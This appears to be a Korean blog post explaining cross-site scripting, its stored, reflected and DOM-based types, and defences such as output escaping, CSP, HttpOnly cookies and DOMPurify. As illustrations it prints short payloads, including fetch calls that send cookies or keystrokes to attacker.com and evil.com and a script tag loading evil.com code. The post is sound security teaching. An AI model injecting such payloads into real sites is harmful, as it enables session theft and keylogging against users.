XSS(Cross Site Scripting) 완전 정리
XSS는 웹 보안에서 가장 유명하면서도 아직까지 계속 발생하는 취약점
특히 프론트엔드가 커지고:
- React
- Vue
- SPA
- 관리자 페이지
- WYSIWYG 에디터
같은 게 많아지면서 여전히 실무에서 엄청 중요함.
XSS란? (Cross Site Scripting)
정식 명칭: Cross Site Scripting
원래 CSS랑 이름 충돌 때문에: XSS 라고 줄여 부름.
핵심 개념 :
“사용자가 입력한 악성 스크립트가 다른 사용자 브라우저에서 실행되는 취약점”
정상 상황
예: 게시판 댓글.
<div>안녕하세요</div>
정상 출력.
공격 상황
공격자가:
<script>alert('HACK')</script>
입력하고 서버가 검증 없이 저장/출력하면:
<div>
<script>alert('HACK')</script>
</div>
브라우저가 JS 실행.
즉 핵심은
브라우저가: "이게 단순 문자열인지"
아니면: "실행 가능한 HTML/JS인지"
구분 못하게 되는 것.
왜 위험한가
단순 alert 수준이 아님.
실제로는:
- 세션 탈취
- 관리자 계정 탈취
- 악성 요청 실행
- 키로깅
- 피싱 UI 생성
가능.
가장 위험한 공격 : 세션 탈취
예:
fetch("https://attacker.com?c=" + document.cookie)
결과
사용자 세션 쿠키 탈취.
로그인 계정 가로채기 가능.
그래서 HttpOnly가 중요
Set-Cookie: SESSION=abc; HttpOnly
면:
document.cookie
접근 차단.
XSS 종류
1. Stored XSS : 가장 위험.
흐름
공격자 입력
↓
DB 저장
↓
다른 사용자 조회
↓
JS 실행
예시
게시판 댓글.
공격자가:
<script src="https://evil.com/x.js"></script>
저장.
관리자가 글 열람 시 실행.
위험성
엄청 높음.
왜냐면:
사용자 방문만 해도 자동 실행
되기 때문.
2. Reflected XSS : URL 기반.
흐름
악성 URL 클릭
↓
서버 응답에 그대로 반사
↓
브라우저 실행
예시
search?q=<script>alert(1)</script>
서버가:
검색어:
<script>alert(1)</script>
출력.
특징
사용자 클릭 유도 필요.
피싱과 같이 많이 사용.
3. DOM-based XSS : 요즘 프론트에서 중요.
서버 아니라 JS 문제
브라우저 JS가 직접 DOM 조작하다 발생.
예시
element.innerHTML = location.hash
URL:
#<img src=x onerror=alert(1)>
브라우저에서 즉시 실행
왜 SPA에서 중요해졌나
React/Vue/Angular가:
브라우저 내부 렌더링
많이 하기 때문.
XSS 공격 예시들
1. 세션 탈취
fetch("https://evil.com?cookie=" + document.cookie)
2. 키 입력 탈취
document.addEventListener("keydown", e => {
fetch("https://evil.com?k=" + e.key)
})
3. 관리자 권한 요청
fetch("/admin/deleteAll", {
method: "POST",
credentials: "include"
})
4. 가짜 로그인창
<div class="fake-login">
사용자 속여 비밀번호 입력 유도.
왜 브라우저가 막기 어려운가
중요한 개념.
브라우저 입장에서는:
정상 JS
인지
악성 JS
인지 구분 불가.
그래서:
애초에 HTML/JS로 해석되지 않게 해야 함
방어 방법 (실무 핵심)
1. Output Escaping (가장 중요) - 위험한 문자 치환
예:
<script>
를
<script>
변환.
그러면 브라우저가
HTML 태그가 아니라 문자열
로 인식.
예시
위험
div.innerHTML = userInput
안전
div.textContent = userInput
2. innerHTML 사용 금지
위험 API
innerHTML
document.write
insertAdjacentHTML
안전 API
textContent
innerText
createTextNode
3. CSP(Content Security Policy) 매우 강력.
역할
허용된 JS만 실행
예시
Content-Security-Policy:
script-src 'self'
효과
외부 악성 JS 차단.
특히 inline script 차단 중요
<script>alert(1)</script>
실행 방지 가능.
4. HttpOnly 쿠키
XSS 자체는 못 막음.
하지만:
세션 탈취 피해 감소
가능.
5. 입력 검증(Input Validation) 보조 수단.
오해하면 안되는 점
입력 검증만으로 XSS 못 막음.
왜냐면 우회 너무 많음.
핵심은 출력 시 escaping
React는 안전한가?
대체로 안전한 편.
이유
기본적으로 자동 escaping.
예:
<div>{userInput}</div>
자동 이스케이프.
하지만 위험한 기능 있음
dangerouslySetInnerHTML
이거 쓰면 위험.
Vue도 비슷
안전
{{ userInput }}
자동 escaping.
위험
v-html
직접 HTML 삽입.
Stored XSS 실제 사고 많이 남
특히:
- 관리자 페이지
- 공지사항
- 엑셀 업로드
- WYSIWYG 에디터
WYSIWYG 에디터 위험
예:
- CKEditor
- TinyMCE
등.
왜냐면:
HTML 자체 입력 허용
하기 때문.
그래서 Sanitizer 사용
대표:
DOMPurify 역할
위험 태그 제거.
예:
<script>
onerror=
onclick=
등 제거.
실무 보안 조합
프론트
- innerHTML 최소화
- React/Vue 기본 escaping 활용
- DOMPurify 사용
서버
- CSP 적용
- HttpOnly
- Secure
- SameSite
브라우저
- Trusted Types
- CSP 강화
실무에서 가장 위험한 케이스
관리자 페이지 Stored XSS.
왜냐면:
관리자 세션 탈취
로 이어지기 때문.
핵심 정리
XSS는:
사용자 입력이
브라우저에서 실행 가능한 HTML/JS로 해석되어
공격자가 다른 사용자의 브라우저에서
임의 스크립트를 실행시키는 취약점
이야.
한 줄 실무 핵심
XSS 방어의 본질은:
"사용자 입력을
절대 코드로 실행되지 않게 만드는 것"
이다.
'system_fundamentals > security_cryptography' 카테고리의 다른 글
| SQL Injection (0) | 2026.05.19 |
|---|---|
| CSRF (0) | 2026.05.19 |
| 쿠키 보안 옵션 (0) | 2026.05.18 |
| 공개키/개인키 용례에 따른 목적과 용법 (0) | 2026.05.18 |
| FIDO/WebAuthn (0) | 2026.05.18 |
댓글